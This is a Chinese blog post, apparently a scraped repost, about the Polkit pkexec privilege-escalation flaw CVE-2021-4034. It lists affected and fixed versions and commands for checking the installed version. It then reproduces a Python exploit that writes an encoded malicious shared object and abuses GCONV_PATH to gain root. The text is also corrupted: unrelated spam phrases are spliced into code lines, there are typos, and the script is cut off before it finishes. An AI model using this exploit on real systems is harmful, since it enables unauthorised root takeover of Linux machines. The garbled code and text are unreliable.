LinuxPolkit本地权限提升漏洞(CVE-2021-4034)
Linux Polkit本地权限提升漏洞(CVE-2021-4034)
发现这个漏洞被各⼤预警平台刷屏了,⽬前主流Linux系统均收到影响,闲来⽆事刚好复现⼀下。
漏洞描述
Polkit 是⽤于在类 Unix 操作系统中控制系统范围特权的组件。它为⾮特权进程提供了与特权进程进⾏通信的有组织的⽅式。polkit 的 pkexec 存在本地权限提升漏洞,已获得普通权限的攻击者可通过此漏洞获取root权限。
该漏洞CVSS评分:7.8,危害等级:⾼危
影响范围
影响版本:由于 polkit 为系统预装⼯具,⽬前主流Linux版本均受影响。
修复版本:
CentOS系列:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu系列:
Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1
Debain系列:
:
policykit-1 0.105-18+deb9u2
Debain stretch:policykit-1 0.105-18+deb9u2
Debain buster:policykit-1 0.105-25+deb10u1
Debain bullseye:policykit-1 0.105-31+deb11u1
Debain bookworm,bullseye:policykit-1 0.105-31.1
漏洞检测xml布局编辑器安卓版下载
版本检测
Linux系统⽤户可以通过查看Polkit版本来判断当前系统是否在受影响范围内,主流Linux发⾏版命令如下:
CentOS:
rpm -qa polkit
Ubuntu:
dpkq -l policykit-1
漏洞复现
json编辑器源码漏洞利⽤:
# [url]github/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py[/url]
#!/usr/bin/env python3
# poc for [url]www.qualys/2022/01/25/[/url] found by qualys
# hardcoded amd64 lib
centos和ubuntufrom ctypes import*
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile
payload = zlib.decompress(
base64.b64decode(
"""eJztW21sFEUYnr32ymG/TgPhpAQuBhJA2V6BKh8p1FZgUTAFW0OiuL32tteL9+XuXmmRQA1igkhSFRI1JmJioPEXJPrDH2pJm8bEP5KYqD9MqoS kjUQqKgLRrjO777vdHXqUGDUhmafsPfu+8z4zs7szc2zunUNbdmwNSBJBlJBNxLbudexG8A/WuSHUt46U089FpMaOLSXF8VaZn0nYIaYLemyelwX87NXZ7 UXBz3FI8rNXx7oQlsG9yc95aKeXay8Auijoopv8PCT5OQTyUjgGoT6e+e7zui8gjuelxM9475+6ZCb+SXstoFsKBTyvJX7G9nZRHT7SOwE+3t3QXrHnMCn5G R9jKdTBxsy2J9vYcxlivhJP+TywWfnBXXWr3s18dG7sdNlP5cMjT5/49PmLLI7djnIyPR5YtaXkAdtXQY/OikPV9Wd299/uOqIz+F+mx30z+KUi8YUi8ceK+B8qUk 9Xkfit9HhgBv+BIvGZIv42219FPoH1oBz8z4B/BPytKFDVZCaXVQ0zrpuqStTtrTvVhKZryZRhanrrzuZ0Lqu1xjvSmlM2c4na2RtXu1LZeDq1XyPJzly2x/lUU9mU SQzNLKQSjDTgJJiMtV6ts0ejRCPTqY5O2cjJD5NtO7Y3Naur5dVyvd3RgH3gJ/uT4G+ATI/XwsLUXBbxDtg4TnH+nIXrj3D+PPhbGv1+tNs5fygKOs5fDv6xzQ6z MTu9WhMy7vGXePyTHr93nl73+EMefwTanUOcO4OIevzedX65xx/0+GMe/xyPf53HP9fjb/T47yECAgICAgICAgL/NX6tXnxTOXw5pBwLfldLiHJkyAxYXymHR0 LDdrlV/yN1X7WWXaRUvcSO72YFVyd+sCxrwLYl277g2gHbPu/aJbZ9zrVLbft91w7a9uto09b22q095vSP2hnO1jibj2/j7J2cvQVt5XhDH7vu40Gd0frr5nx6K0Zl5 1bMtcaql/Szyx0GpvHb7fj6JkYrppSjk8r5nzcr56+XKNKocmHKnEcrOAkVhKyxLrsd1LP2+xuCV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j/ujkCPcgOH78zanx+9L5Eounr9/74Hezc2P+pmff/z4PcPpi+3zKdb+x5x+T9TPZ7l4fvyyzKIqMv197O77kWeOD3H 8JT2qPXr8/0PkDvXfEP8eCXcfF+iHPOuHV4fP8Qhxrh/1uB9jrBbqmaX9MU7vbqyLOaTMop/g9Pg92xLzVeOCH39XoC7U94O+P+ZvB8GPn9/Ax7eD+pVF9F4 uIbfiQ9D/NUv7fwNC41U+"""
)
)
libc = CDLL(find_library("c"))
滑块联轴器属于刚性联轴器stype = c_ssize_t
wd = tempfile.mkdtemp()
open(wd +"/pwn.so","wb").write(payload)
os.mkdir(wd +"/gconv/")
open(wd +"/gconv/gconv-modules","w").write(
"module UTF-8// INTERNAL ../pwn 2"
)
os.mkdir(wd +"/GCONV_PATH=.")
os.mknod(wd +"/GCONV_PATH=./gconv")
os.chmod(wd +"/GCONV_PATH=.",0o777)
os.chmod(wd +"/GCONV_PATH=./gconv",0o777)
os.chmod(wd +"/pwn.so",0o777)
os.chdir(wd)
cmd =b"/usr/bin/pkexec"
argv =[]
envp =[
b"gconv",
b"PATH=GCONV_PATH=.",
b"LC_MESSAGES=en_US.UTF-8",
b"XAUTHORITY=../gconv",
b"",
]
药店的jsp是什么意思cargv =(c_char_p *(len(argv)+1))(*argv,None)
cenv =(c_char_p *(len(envp)+1))(*envp,None)
成功复现
修复建议
免责声明:
仅限授权安全测试使⽤,禁⽌未授权⾮法攻击站点。本⽂章仅供学习和研究使⽤。严禁使⽤该⽂章内容对互联⽹其他应⽤进⾏⾮法操作,若将其⽤于⾮法⽬的,所造成的后果由您⾃⾏承担,产⽣的⼀切风险与本⽂作者⽆关,如继续阅读该⽂章即表明您默认遵守该内容。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论